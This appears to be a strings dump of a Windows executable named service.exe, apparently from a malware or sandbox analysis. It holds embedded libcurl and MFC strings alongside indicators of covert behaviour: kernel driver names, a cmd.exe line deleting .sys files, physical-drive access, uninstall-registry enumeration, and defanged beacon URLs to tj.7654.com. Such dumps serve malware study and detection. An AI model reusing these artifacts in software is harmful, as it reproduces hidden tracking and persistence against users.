portuguese-brazilian
portuguese-brazilian
GetProcessWindowStation
GetProcessWindowStation
USER32.DLL
USER32.DLL
operator
operator
.jpeg
.jpeg
.html
.html
--%s--
--%s--
couldn't open file "%s"
couldn't open file "%s"
Content-Type: %s
Content-Type: %s
; filename="%s"
; filename="%s"
Content-Disposition: attachment; filename="%s"
Content-Disposition: attachment; filename="%s"
Content-Type: multipart/mixed, boundary=%s
Content-Type: multipart/mixed, boundary=%s
%s; boundary=%s
%s; boundary=%s
Could not resolve %s: %s; %s
Could not resolve %s: %s; %s
getaddrinfo() failed for %s:%d; %s
getaddrinfo() failed for %s:%d; %s
init_resolve_thread() failed for %s; %s
init_resolve_thread() failed for %s; %s
%s:%d
%s:%d
About to connect() to %s%s port %ld (#%ld)
About to connect() to %s%s port %ld (#%ld)
Connected to %s (%s) port %ld (#%ld)
Connected to %s (%s) port %ld (#%ld)
IDN support not present, can't parse Unicode domains
IDN support not present, can't parse Unicode domains
Protocol %s not supported or disabled in libcurl
Protocol %s not supported or disabled in libcurl
malformed
malformed
:]://%[^
:]://%[^
[^:]:%[^
[^:]:%[^
http_proxy
http_proxy
%5[^:@]:%5[^@]
%5[^:@]:%5[^@]
:%5[^@]
:%5[^@]
Port number too large: %lu
Port number too large: %lu
%s://%s%s%s:%hu%s%s%s
%s://%s%s%s:%hu%s%s%s
;type=%c
;type=%c
[%*45[0123456789abcdefABCDEF:.]%c
[%*45[0123456789abcdefABCDEF:.]%c
Couldn't find host %s in the _netrc file; using defaults
Couldn't find host %s in the _netrc file; using defaults
PTF@example.com
PTF@example.com
Couldn't resolve host '%s'
Couldn't resolve host '%s'
Couldn't resolve proxy '%s'
Couldn't resolve proxy '%s'
User-Agent: %s
User-Agent: %s
Re-using existing connection! (#%ld) with host %s
Re-using existing connection! (#%ld) with host %s
%s://%s
%s://%s
Connection #%ld to host %s left intact
Connection #%ld to host %s left intact
operation aborted by callback
operation aborted by callback
ioctl callback returned error %d
ioctl callback returned error %d
the ioctl callback returned %d
the ioctl callback returned %d
seek callback returned error %d
seek callback returned error %d
Problem (%d) in the Chunked-Encoded data
Problem (%d) in the Chunked-Encoded data
HTTP server doesn't seem to support byte ranges. Cannot resume.
HTTP server doesn't seem to support byte ranges. Cannot resume.
Excess found in a non pipelined read: excess = %zd url = %s (zero-length body)
Excess found in a non pipelined read: excess = %zd url = %s (zero-length body)
Excess found in a non pipelined read: excess = %zu, size = %lld, maxdownload = %lld, bytecount = %lld
Excess found in a non pipelined read: excess = %zu, size = %lld, maxdownload = %lld, bytecount = %lld
Rewinding stream by : %zu bytes on url %s (size = %lld, maxdownload = %lld, bytecount = %lld, nread = %zd)
Rewinding stream by : %zu bytes on url %s (size = %lld, maxdownload = %lld, bytecount = %lld, nread = %zd)
Rewinding stream by : %zd bytes on url %s (zero-length body)
Rewinding stream by : %zd bytes on url %s (zero-length body)
Operation timed out after %ld milliseconds with %lld bytes received
Operation timed out after %ld milliseconds with %lld bytes received
Operation timed out after %ld milliseconds with %lld out of %lld bytes received
Operation timed out after %ld milliseconds with %lld out of %lld bytes received
Added %s:%d:%s to DNS cache
Added %s:%d:%s to DNS cache
Resolve %s found illegal!
Resolve %s found illegal!
%5[^:]:%d:%5s
%5[^:]:%d:%5s
No URL set!
No URL set!
[^?&/:]://%c
[^?&/:]://%c
Violate RFC 2616/10.3.2 and switch from POST to GET
Violate RFC 2616/10.3.2 and switch from POST to GET
Violate RFC 2616/10.3.3 and switch from POST to GET
Violate RFC 2616/10.3.3 and switch from POST to GET
Disables POST, goes with %s
Disables POST, goes with %s
Issue another request to this URL: '%s'
Issue another request to this URL: '%s'
unspecified error %d
unspecified error %d
%s cookie %s="%s" for domain %s, path %s, expire %lld
%s cookie %s="%s" for domain %s, path %s, expire %lld
#HttpOnly_
#HttpOnly_
skipped cookie with bad tailmatch domain: %s
skipped cookie with bad tailmatch domain: %s
skipped cookie with illegal dotcount domain: %s
skipped cookie with illegal dotcount domain: %s
httponly
httponly
23[^;
23[^;
=]=I99[^;
=]=I99[^;
%s%s%s
%s%s%s
# Fatal libcurl error
# Fatal libcurl error
# Netscape HTTP Cookie File
# Netscape HTTP Cookie File
# hXXp://curl.haxx.se/rfc/cookie_spec.html
# hXXp://curl.haxx.se/rfc/cookie_spec.html
# This file was generated by libcurl! Edit at your own risk.
# This file was generated by libcurl! Edit at your own risk.
WARNING: failed to save cookies in %s
WARNING: failed to save cookies in %s
[%s %s %s]
[%s %s %s]
Send failure: %s
Send failure: %s
Recv failure: %s
Recv failure: %s
bind failed with errno %d: %s
bind failed with errno %d: %s
Local port: %hu
Local port: %hu
getsockname() failed with errno %d: %s
getsockname() failed with errno %d: %s
Bind to local port %hu failed, trying next
Bind to local port %hu failed, trying next
Couldn't bind to '%s'
Couldn't bind to '%s'
Name '%s' family %i resolved to '%s' family %i
Name '%s' family %i resolved to '%s' family %i
Local Interface %s is ip %s using address family %i
Local Interface %s is ip %s using address family %i
ssloc inet_ntop() failed with errno %d: %s
ssloc inet_ntop() failed with errno %d: %s
ssrem inet_ntop() failed with errno %d: %s
ssrem inet_ntop() failed with errno %d: %s
getpeername() failed with errno %d: %s
getpeername() failed with errno %d: %s
TCP_NODELAY set
TCP_NODELAY set
Could not set TCP_NODELAY: %s
Could not set TCP_NODELAY: %s
Failed to connect to %s: %s
Failed to connect to %s: %s
Trying %s...
Trying %s...
sa_addr inet_ntop() failed with errno %d: %s
sa_addr inet_ntop() failed with errno %d: %s
Unable to parse FTP file list
Unable to parse FTP file list
Error in the SSH layer
Error in the SSH layer
Caller must register CURLOPT_CONV_ callback options
Caller must register CURLOPT_CONV_ callback options
TFTP: No such user
TFTP: No such user
TFTP: Unknown transfer ID
TFTP: Unknown transfer ID
TFTP: Illegal operation
TFTP: Illegal operation
TFTP: Access Violation
TFTP: Access Violation
TFTP: File Not Found
TFTP: File Not Found
Login denied
Login denied
Issuer check against peer certificate failed
Issuer check against peer certificate failed
Invalid LDAP URL
Invalid LDAP URL
Unrecognized or bad HTTP Content or Transfer-Encoding
Unrecognized or bad HTTP Content or Transfer-Encoding
Problem with the SSL CA cert (path? access rights?)
Problem with the SSL CA cert (path? access rights?)
Peer certificate cannot be authenticated with given CA certificates
Peer certificate cannot be authenticated with given CA certificates
Problem with the local SSL certificate
Problem with the local SSL certificate
SSL peer certificate or SSH remote key was not OK
SSL peer certificate or SSH remote key was not OK
An unknown option was passed in to libcurl
An unknown option was passed in to libcurl
A libcurl function was given a bad argument
A libcurl function was given a bad argument
Operation was aborted by an application callback
Operation was aborted by an application callback
FTP: command REST failed
FTP: command REST failed
FTP: command PORT failed
FTP: command PORT failed
HTTP response code said error
HTTP response code said error
FTP: couldn't retrieve (RETR failed) the specified file
FTP: couldn't retrieve (RETR failed) the specified file
FTP: couldn't set file type
FTP: couldn't set file type
FTP: can't figure out the host in the PASV response
FTP: can't figure out the host in the PASV response
FTP: unknown 227 response format
FTP: unknown 227 response format
FTP: unknown PASV reply
FTP: unknown PASV reply
FTP: unknown PASS reply
FTP: unknown PASS reply
FTP: The server did not accept the PRET command.
FTP: The server did not accept the PRET command.
FTP: weird server reply
FTP: weird server reply
A requested feature, protocol or option was not found built-in in this libcurl due to a build-time decision.
A requested feature, protocol or option was not found built-in in this libcurl due to a build-time decision.
URL using bad/illegal format or missing URL
URL using bad/illegal format or missing URL
Unsupported protocol
Unsupported protocol
Winsock version not supported
Winsock version not supported
Protocol family not supported
Protocol family not supported
Address family not supported
Address family not supported
Operation not supported
Operation not supported
Socket is unsupported
Socket is unsupported
Protocol is unsupported
Protocol is unsupported
Protocol option is unsupported
Protocol option is unsupported
Unknown error %d (%#x)
Unknown error %d (%#x)
Internal error removing splay node = %d
Internal error removing splay node = %d
Internal error clearing splay node = %d
Internal error clearing splay node = %d
%d.%d.%d.%d
%d.%d.%d.%d
%s%s%s%s%s%s
%s%s%s%s%s%s
Session: %s
Session: %s
%s %s RTSP/1.0
%s %s RTSP/1.0
Range: %s
Range: %s
Referer: %s
Referer: %s
Accept-Encoding: %s
Accept-Encoding: %s
Refusing to issue an RTSP SETUP without a Transport: header.
Refusing to issue an RTSP SETUP without a Transport: header.
Transport: %s
Transport: %s
Transport:
Transport:
Refusing to issue an RTSP request [%s] without a session ID.
Refusing to issue an RTSP request [%s] without a session ID.
Got RTSP Session ID Line [%s], but wanted ID [%s]
Got RTSP Session ID Line [%s], but wanted ID [%s]
Unable to read the CSeq header: [%s]
Unable to read the CSeq header: [%s]
SMTP
SMTP
LOGIN
LOGIN
EHLO %s
EHLO %s
HELO %s
HELO %s
AUTH %s
AUTH %s
No known auth mechanisms supported!
No known auth mechanisms supported!
AUTH %s %s
AUTH %s %s
Access denied: %d
Access denied: %d
%s xxxxxxxxxxxxxxxx
%s xxxxxxxxxxxxxxxx
Authentication failed: %d
Authentication failed: %d
MAIL FROM:%s SIZE=%s
MAIL FROM:%s SIZE=%s
MAIL FROM:%s
MAIL FROM:%s
RCPT TO:
RCPT TO:
RCPT TO:%s
RCPT TO:%s
SMTPS not supported!
SMTPS not supported!
STARTTLS denied. %c
STARTTLS denied. %c
Got unexpected smtp-server response: %d
Got unexpected smtp-server response: %d
USER %s
USER %s
PASS %s
PASS %s
Access denied. %c
Access denied. %c
Invalid message. %c
Invalid message. %c
RETR %s
RETR %s
LIST %s
LIST %s
POP3S not supported!
POP3S not supported!
%s LOGIN %s %s
%s LOGIN %s %s
%s SELECT %s
%s SELECT %s
%s FETCH 1 BODY[TEXT]
%s FETCH 1 BODY[TEXT]
%s LOGOUT
%s LOGOUT
IMAPS not supported!
IMAPS not supported!
%s STARTTLS
%s STARTTLS
TFTP
TFTP
set timeouts for state %d; Total %ld, retry %d maxtry %d
set timeouts for state %d; Total %ld, retry %d maxtry %d
invalid tsize -:%s:- value in OACK packet
invalid tsize -:%s:- value in OACK packet
%s (%ld)
%s (%ld)
blksize is smaller than min supported
blksize is smaller than min supported
%s (%d)
%s (%d)
blksize is larger than max supported
blksize is larger than max supported
%s (%d) %s (%d)
%s (%d) %s (%d)
got option=(%s) value=(%s)
got option=(%s) value=(%s)
tftp_rx: internal error
tftp_rx: internal error
Timeout waiting for block %d ACK. Retries = %d
Timeout waiting for block %d ACK. Retries = %d
Received unexpected DATA packet block %d, expecting block %d
Received unexpected DATA packet block %d, expecting block %d
tftp_tx: internal error, event: %i
tftp_tx: internal error, event: %i
tftp_tx: giving up waiting for block %d ack
tftp_tx: giving up waiting for block %d ack
Received ACK for block %d, expecting %d
Received ACK for block %d, expecting %d
bind() failed; %s
bind() failed; %s
tftp_send_first: internal error
tftp_send_first: internal error
%s%c%s%c
%s%c%s%c
TFTP finished
TFTP finished
TFTP response timeout
TFTP response timeout
Can't get the size of %s
Can't get the size of %s
Can't open %s for writing
Can't open %s for writing
Last-Modified: %s, d %s M d:d:d GMT
Last-Modified: %s, d %s M d:d:d GMT
Couldn't open file %s
Couldn't open file %s
There are more than %d entries
There are more than %d entries
LDAP remote: %s
LDAP remote: %s
LDAP local: ldap_simple_bind_s %s
LDAP local: ldap_simple_bind_s %s
LDAP local: Cannot connect to %s:%hu
LDAP local: Cannot connect to %s:%hu
LDAP local: trying to establish %s connection
LDAP local: trying to establish %s connection
LDAP local: %s
LDAP local: %s
LDAP local: LDAP Vendor = %s ; LDAP Version = %d
LDAP local: LDAP Vendor = %s ; LDAP Version = %d
CLIENT libcurl 7.23.1
CLIENT libcurl 7.23.1
MATCH %s %s %s
MATCH %s %s %s
DEFINE %s %s
DEFINE %s %s
insufficient winsock version to support telnet
insufficient winsock version to support telnet
WSAStartup failed (%d)
WSAStartup failed (%d)
%s %d %d
%s %d %d
%s %s %d
%s %s %d
%s %s %s
%s %s %s
%s IAC %d
%s IAC %d
%s IAC %s
%s IAC %s
Sending data failed (%d)
Sending data failed (%d)
%d (unknown)
%d (unknown)
%s (unsupported)
%s (unsupported)
%s IAC SB
%s IAC SB
Syntax error in telnet option: %s
Syntax error in telnet option: %s
Unknown telnet option %s
Unknown telnet option %s
7[^= ]%*[ =]%5s
7[^= ]%*[ =]%5s
USER,%s
USER,%s
%c%c%c%c%s%c%c
%c%c%c%c%s%c%c
%c%s%c%s
%c%s%c%s
7[^,],7s
7[^,],7s
%c%c%c%c
%c%c%c%c
FreeLibrary(wsock2) failed (%d)
FreeLibrary(wsock2) failed (%d)
WSACloseEvent failed (%d)
WSACloseEvent failed (%d)
WSAEnumNetworkEvents failed (%d)
WSAEnumNetworkEvents failed (%d)
WSACreateEvent failed (%d)
WSACreateEvent failed (%d)
failed to find WSAEnumNetworkEvents function (%d)
failed to find WSAEnumNetworkEvents function (%d)
failed to find WSAEventSelect function (%d)
failed to find WSAEventSelect function (%d)
failed to find WSACloseEvent function (%d)
failed to find WSACloseEvent function (%d)
failed to find WSACreateEvent function (%d)
failed to find WSACreateEvent function (%d)
failed to load WS2_32.DLL (%d)
failed to load WS2_32.DLL (%d)
WS2_32.DLL
WS2_32.DLL
PORT
PORT
FTP response aborted due to select/poll error: %d
FTP response aborted due to select/poll error: %d
FTP response timeout
FTP response timeout
Failure sending PORT command: %s
Failure sending PORT command: %s
%s %s
%s %s
,%d,%d
,%d,%d
Failure sending EPRT command: %s
Failure sending EPRT command: %s
%s |%d|%s|%hu|
%s |%d|%s|%hu|
bind() failed, we ran out of ports!
bind() failed, we ran out of ports!
bind(port=%hu) failed: %s
bind(port=%hu) failed: %s
bind(port=%hu) on non-local address failed: %s
bind(port=%hu) on non-local address failed: %s
socket failure: %s
socket failure: %s
failed to resolve the address provided to PORT: %s
failed to resolve the address provided to PORT: %s
getsockname() failed: %s
getsockname() failed: %s
Connect data stream passively
Connect data stream passively
PRET RETR %s
PRET RETR %s
PRET STOR %s
PRET STOR %s
PRET %s
PRET %s
REST %d
REST %d
SIZE %s
SIZE %s
STOR %s
STOR %s
APPE %s
APPE %s
Failed to do PORT
Failed to do PORT
Got a d response code instead of the assumed 200
Got a d response code instead of the assumed 200
ftp server doesn't support SIZE
ftp server doesn't support SIZE
Failed FTP upload:
Failed FTP upload:
RETR response: d
RETR response: d
PBSZ %d
PBSZ %d
Access denied: d
Access denied: d
ACCT %s
ACCT %s
ACCT rejected by server: d
ACCT rejected by server: d
TYPE %c
TYPE %c
Connecting to %s (%s) port %d
Connecting to %s (%s) port %d
Failure sending QUIT command: %s
Failure sending QUIT command: %s
Uploading to a URL without a file name!
Uploading to a URL without a file name!
FTPS not supported!
FTPS not supported!
MDTM %s
MDTM %s
Bad PASV/EPSV response: d
Bad PASV/EPSV response: d
Can't resolve new host %s:%hu
Can't resolve new host %s:%hu
Can't resolve proxy host %s:%hu
Can't resolve proxy host %s:%hu
Skips %d.%d.%d.%d for data connection, uses %s instead
Skips %d.%d.%d.%d for data connection, uses %s instead
%d,%d,%d,%d,%d,%d
%d,%d,%d,%d,%d,%d
%c%c%c%u%c
%c%c%c%u%c
ddd d:d:d GMT
ddd d:d:d GMT
dddddd
dddddd
unsupported MDTM reply format
unsupported MDTM reply format
QUOT string not accepted: %s
QUOT string not accepted: %s
Wildcard - "%s" skipped by user
Wildcard - "%s" skipped by user
Wildcard - START of "%s"
Wildcard - START of "%s"
CWD %s
CWD %s
PRET command not accepted: d
PRET command not accepted: d
Failed to MKD dir: d
Failed to MKD dir: d
MKD %s
MKD %s
QUOT command failed with d
QUOT command failed with d
Entry path is '%s'
Entry path is '%s'
PROT %c
PROT %c
unsupported parameter to CURLOPT_FTPSSLAUTH: %d
unsupported parameter to CURLOPT_FTPSSLAUTH: %d
Got a d ftp-server response when 220 was expected
Got a d ftp-server response when 220 was expected
server did not report OK, got %d
server did not report OK, got %d
Failure sending ABOR command: %s
Failure sending ABOR command: %s
Remembering we are in dir "%s"
Remembering we are in dir "%s"
%sAuthorization: Basic %s
%sAuthorization: Basic %s
%s:%s
%s:%s
%s auth using %s with user '%s'
%s auth using %s with user '%s'
HTTP/
HTTP/
Avoided giant realloc for header (max is %d)!
Avoided giant realloc for header (max is %d)!
The requested URL returned error: %d
The requested URL returned error: %d
If-Unmodified-Since: %s
If-Unmodified-Since: %s
Last-Modified: %s
Last-Modified: %s
If-Modified-Since: %s
If-Modified-Since: %s
%s, d %s M d:d:d GMT
%s, d %s M d:d:d GMT
Failed sending HTTP POST request
Failed sending HTTP POST request
Content-Type: application/x-www-form-urlencoded
Content-Type: application/x-www-form-urlencoded
Internal HTTP POST error!
Internal HTTP POST error!
Failed sending HTTP request
Failed sending HTTP request
%s%s=%s
%s%s=%s
%s HTTP/%s
%s HTTP/%s
%s%s%s%s%s%s%s%s%s%s%s
%s%s%s%s%s%s%s%s%s%s%s
PTF://%s:%s@%s
PTF://%s:%s@%s
Content-Range: bytes %s/%lld
Content-Range: bytes %s/%lld
Content-Range: bytes %s%lld/%lld
Content-Range: bytes %s%lld/%lld
Range: bytes=%s
Range: bytes=%s
PTF://
PTF://
Host: %s%s%s:%hu
Host: %s%s%s:%hu
Host: %s%s%s
Host: %s%s%s
Chunky upload is not supported by HTTP 1.0
Chunky upload is not supported by HTTP 1.0
HTTP error before end of send, stop sending
HTTP error before end of send, stop sending
HTTP/1.0 connection set to keep alive!
HTTP/1.0 connection set to keep alive!
HTTP/1.1 proxy connection set close!
HTTP/1.1 proxy connection set close!
HTTP/1.0 proxy connection set to keep alive!
HTTP/1.0 proxy connection set to keep alive!
HTTP 1.0, assume close after body
HTTP 1.0, assume close after body
RTSP/%d.%d =
RTSP/%d.%d =
HTTP =
HTTP =
HTTP/%d.%d =
HTTP/%d.%d =
Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), Unknown.
Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), Unknown.
Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected because the client program and identd report different user-ids.
Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected because the client program and identd report different user-ids.
Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected because SOCKS server cannot connect to identd on the client.
Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected because SOCKS server cannot connect to identd on the client.
Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected or failed.
Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected or failed.
SOCKS4%s request granted.
SOCKS4%s request granted.
Failed to resolve "%s" for SOCKS4 connect.
Failed to resolve "%s" for SOCKS4 connect.
No authentication method was acceptable. (It is quite likely that the SOCKS5 server wanted a username/password, since none was supplied to the server on this connection.)
No authentication method was acceptable. (It is quite likely that the SOCKS5 server wanted a username/password, since none was supplied to the server on this connection.)
SOCKS5 GSSAPI per-message authentication is not supported.
SOCKS5 GSSAPI per-message authentication is not supported.
Can't complete SOCKS5 connection to %d.%d.%d.%d:%d. (%d)
Can't complete SOCKS5 connection to %d.%d.%d.%d:%d. (%d)
Failed to resolve "%s" for SOCKS5 connect.
Failed to resolve "%s" for SOCKS5 connect.
User was rejected by the SOCKS5 server (%d %d).
User was rejected by the SOCKS5 server (%d %d).
--:--:--
--:--:--
%3lld %s %3lld %s %3lld %s %s %s %s %s %s %s
%3lld %s %3lld %s %3lld %s %s %s %s %s %s %s
@password
@password
login
login
Operation too slow. Less than %ld bytes/sec transferred the last %ld seconds
Operation too slow. Less than %ld bytes/sec transferred the last %ld seconds
%s, algorithm="%s"
%s, algorithm="%s"
%s, opaque="%s"
%s, opaque="%s"
%sAuthorization: Digest username="%s", realm="%s", nonce="%s", uri="%s", response="%s"
%sAuthorization: Digest username="%s", realm="%s", nonce="%s", uri="%s", response="%s"
%sAuthorization: Digest username="%s", realm="%s", nonce="%s", uri="%s", cnonce="%s", nc=x, qop="%s", response="%s"
%sAuthorization: Digest username="%s", realm="%s", nonce="%s", uri="%s", cnonce="%s", nc=x, qop="%s", response="%s"
%s:%s:x:%s:%s:%s
%s:%s:x:%s:%s:%s
%s:%.*s
%s:%.*s
%s:%s:%s
%s:%s:%s
d:d
d:d
d:d:d
d:d:d
%c%c==
%c%c==
%c%c%c=
%c%c%c=
Received HTTP code %d from proxy after CONNECT
Received HTTP code %d from proxy after CONNECT
HTTP/1.%d %d
HTTP/1.%d %d
CONNECT %s:%hu HTTP/%s
CONNECT %s:%hu HTTP/%s
%s%s%s%s
%s%s%s%s
Host: %s
Host: %s
%s:%hu
%s:%hu
Establish HTTP proxy tunnel to %s:%hu
Establish HTTP proxy tunnel to %s:%hu
0123456789-
0123456789-
OLEACC.dll
OLEACC.dll
Visual C CRT: Not enough memory to complete call to strerror.
Visual C CRT: Not enough memory to complete call to strerror.
Broken pipe
Broken pipe
Inappropriate I/O control operation
Inappropriate I/O control operation
Operation not permitted
Operation not permitted
g:\Company\PCProject\7654\Temp\pdb\Tool.pdb
g:\Company\PCProject\7654\Temp\pdb\Tool.pdb
GetProcessHeap
GetProcessHeap
GetCPInfo
GetCPInfo
GetConsoleOutputCP
GetConsoleOutputCP
KERNEL32.dll
KERNEL32.dll
GetKeyState
GetKeyState
UnhookWindowsHookEx
UnhookWindowsHookEx
SetWindowsHookExW
SetWindowsHookExW
CreateDialogIndirectParamW
CreateDialogIndirectParamW
USER32.dll
USER32.dll
GetViewportExtEx
GetViewportExtEx
SetViewportOrgEx
SetViewportOrgEx
OffsetViewportOrgEx
OffsetViewportOrgEx
SetViewportExtEx
SetViewportExtEx
ScaleViewportExtEx
ScaleViewportExtEx
GDI32.dll
GDI32.dll
comdlg32.dll
comdlg32.dll
WINSPOOL.DRV
WINSPOOL.DRV
RegOpenKeyExW
RegOpenKeyExW
RegCloseKey
RegCloseKey
RegCreateKeyExW
RegCreateKeyExW
RegEnumKeyExW
RegEnumKeyExW
RegOpenKeyW
RegOpenKeyW
RegEnumKeyW
RegEnumKeyW
RegDeleteKeyW
RegDeleteKeyW
ADVAPI32.dll
ADVAPI32.dll
ShellExecuteW
ShellExecuteW
SHELL32.dll
SHELL32.dll
COMCTL32.dll
COMCTL32.dll
SHLWAPI.dll
SHLWAPI.dll
oledlg.dll
oledlg.dll
ole32.dll
ole32.dll
OLEAUT32.dll
OLEAUT32.dll
WLDAP32.dll
WLDAP32.dll
iphlpapi.dll
iphlpapi.dll
WS2_32.dll
WS2_32.dll
PeekNamedPipe
PeekNamedPipe
.?AVCCmdTarget@@
.?AVCCmdTarget@@
.?AVCStartServiceCmd@@
.?AVCStartServiceCmd@@
.?AVCInstallServiceCmd@@
.?AVCInstallServiceCmd@@
.?AVCUninstallServiceCmd@@
.?AVCUninstallServiceCmd@@
.?AVCNullCmd@@
.?AVCNullCmd@@
.?AVCHttpPageRequest@@
.?AVCHttpPageRequest@@
.?AVCHttpPageResponse@@
.?AVCHttpPageResponse@@
.?AVCHttpPageClient@@
.?AVCHttpPageClient@@
.PAVCMemoryException@@
.PAVCMemoryException@@
.?AVCTestCmdUI@@
.?AVCTestCmdUI@@
.?AVCCmdUI@@
.?AVCCmdUI@@
.PAVCUserException@@
.PAVCUserException@@
.PAVCException@@
.PAVCException@@
.PAVCSimpleException@@
.PAVCSimpleException@@
.PAVCObject@@
.PAVCObject@@
.PAVCNotSupportedException@@
.PAVCNotSupportedException@@
.PAVCInvalidArgException@@
.PAVCInvalidArgException@@
.?AVCNotSupportedException@@
.?AVCNotSupportedException@@
.PAVCOleException@@
.PAVCOleException@@
.PAVCResourceException@@
.PAVCResourceException@@
.PAVCArchiveException@@
.PAVCArchiveException@@
.?AV?$CFixedStringT@V?$CStringT@_WV?$StrTraitMFC@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@$0BAA@@ATL@@
.?AV?$CFixedStringT@V?$CStringT@_WV?$StrTraitMFC@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@$0BAA@@ATL@@
.?AV?$CStringT@_WV?$StrTraitMFC@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@
.?AV?$CStringT@_WV?$StrTraitMFC@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@
.PAVCFileException@@
.PAVCFileException@@
.PAVCOleDispatchException@@
.PAVCOleDispatchException@@
zcÁ
zcÁ
version="1.0.0.0"
version="1.0.0.0"
name="Microsoft.Windows.Tool"
name="Microsoft.Windows.Tool"
name="Microsoft.Windows.Common-Controls"
name="Microsoft.Windows.Common-Controls"
version="6.0.0.0"
version="6.0.0.0"
publicKeyToken="6595b64144ccf1df"
publicKeyToken="6595b64144ccf1df"
r%s%s.dmp
r%s%s.dmp
DBGHELP.DLL
DBGHELP.DLL
gadvapi32.dll
gadvapi32.dll
SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\
SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\
Run:%s|%d
Run:%s|%d
%s.bak%d
%s.bak%d
7654Bao.sys
7654Bao.sys
%s service
%s service
cmd.exe
cmd.exe
/c del %s%s*.sys /q && del %s%s*.sys /q
/c del %s%s*.sys /q && del %s%s*.sys /q
\\.\%s
\\.\%s
7654Bao64.sys
7654Bao64.sys
7654Bao32.sys
7654Bao32.sys
service.exe
service.exe
@XX
@XX
wnsoft.ini
wnsoft.ini
\\.\Smartvsd
\\.\Smartvsd
\\.\PhysicalDrive%d
\\.\PhysicalDrive%d
%slog.txt
%slog.txt
%sxxxx.log
%sxxxx.log
@MSWHEEL_ROLLMSG
@MSWHEEL_ROLLMSG
@comctl32.dll
@comctl32.dll
@comdlg32.dll
@comdlg32.dll
accKeyboardShortcut
accKeyboardShortcut
%s (%s:%d)
%s (%s:%d)
commctrl_DragListMsg
commctrl_DragListMsg
Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Software\Microsoft\Windows\CurrentVersion\Policies\Network
Software\Microsoft\Windows\CurrentVersion\Policies\Network
Software\Microsoft\Windows\CurrentVersion\Policies\Comdlg32
Software\Microsoft\Windows\CurrentVersion\Policies\Comdlg32
ntdll.dll
ntdll.dll
%s.dll
%s.dll
mfcm80u.dll
mfcm80u.dll
@.INI
@.INI
user32.dll
user32.dll
%Documents and Settings%\All Users\Application Data\7654\service.exe
%Documents and Settings%\All Users\Application Data\7654\service.exe
1, 0, 1, 0
1, 0, 1, 0
All Files (*.*)
All Files (*.*)
No error message is available.'An unsupported operation was attempted.$A required resource was unavailable.
No error message is available.'An unsupported operation was attempted.$A required resource was unavailable.
Command failed.)Insufficient memory to perform operation.PSystem registry entries have been removed and the INI file (if any) was deleted.BNot all of the system registry entries (or INI file) were removed.FThis program requires the file %s, which was not found on this system.tThis program is linked to the missing export %s in the file %s. This machine may have an incompatible version of %s.
Command failed.)Insufficient memory to perform operation.PSystem registry entries have been removed and the INI file (if any) was deleted.BNot all of the system registry entries (or INI file) were removed.FThis program requires the file %s, which was not found on this system.tThis program is linked to the missing export %s in the file %s. This machine may have an incompatible version of %s.
Destination disk drive is full.5Unable to read from %1, it is opened by someone else.AUnable to write to %1, it is read-only or opened by someone else..An unexpected error occurred while reading %1..An unexpected error occurred while writing %1.
Destination disk drive is full.5Unable to read from %1, it is opened by someone else.AUnable to write to %1, it is read-only or opened by someone else..An unexpected error occurred while reading %1..An unexpected error occurred while writing %1.
Access to %1 was denied..An invalid file handle was associated with %1.
Access to %1 was denied..An invalid file handle was associated with %1.
Seek failed on A hardware I/O error was reported while accessing %1.0A sharing violation occurred while accessing %1.0A locking violation occurred while accessing %1.
Seek failed on A hardware I/O error was reported while accessing %1.0A sharing violation occurred while accessing %1.0A locking violation occurred while accessing %1.
Disk full while accessing %1..An attempt was made to access %1 past its end.
Disk full while accessing %1..An attempt was made to access %1 past its end.
No error occurred.-An unknown error occurred while accessing %1./An attempt was made to write to the reading %1..An attempt was made to access %1 past its end.0An attempt was made to read from the writing %1.
No error occurred.-An unknown error occurred while accessing %1./An attempt was made to write to the reading %1..An attempt was made to access %1 past its end.0An attempt was made to read from the writing %1.
#Unable to load mail system support.
#Unable to load mail system support.
service.exe_1884:
.text
.text
`.rdata
`.rdata
@.data
@.data
.rsrc
.rsrc
CSSSh
CSSSh
PSShH
PSShH
aSSSh
aSSSh
.VVVVVSRSSj
.VVVVVSRSSj
FTPjK
FTPjK
FtPj;
FtPj;
C.PjRV
C.PjRV
PP P!"PP#$PPPP%&'PPP(P)*P PPP,-.PP/0123PPPPPP4PPPPPPP5PPPPPP6789:;PPPPPPPP?@ABCDPPPPEPPPPFPPPPPPGPPHIPPPPPJKPPPLLPPMPPPPPPPPPNPPOY
PP P!"PP#$PPPP%&'PPP(P)*P PPP,-.PP/0123PPPPPP4PPPPPPP5PPPPPP6789:;PPPPPPPP?@ABCDPPPPEPPPPFPPPPPPGPPHIPPPPPJKPPPLLPPMPPPPPPPPPNPPOY
!"DDD#D$DÝ&D'()DDDDDDDDDDDDD*DDDDDDDDDDDD DD,-DDDDDDDDDDD.D/DDDDDDDDDDDDDD01DD234DD56789DDDDDDDD:;DDDD?DDDDD@ABDDDDDCV
!"DDD#D$DÝ&D'()DDDDDDDDDDDDD*DDDDDDDDDDDD DD,-DDDDDDDDDDD.D/DDDDDDDDDDDDDD01DD234DD56789DDDDDDDD:;DDDD?DDDDD@ABDDDDDCV
>%u Wj%
>%u Wj%
_u.Ph
_u.Ph
tX9.uT
tX9.uT
FLu$
FLu$
%s-%s-%d
%s-%s-%d
%s-%s
%s-%s
hXXp://tj.7654.com/zj7654_active_
hXXp://tj.7654.com/zj7654_active_
QID,%s,SoftID,%s,SoftVer,%s
QID,%s,SoftID,%s,SoftVer,%s
UID,%s|
UID,%s|
hXXp://tj.7654.com/zj7654_online_
hXXp://tj.7654.com/zj7654_online_
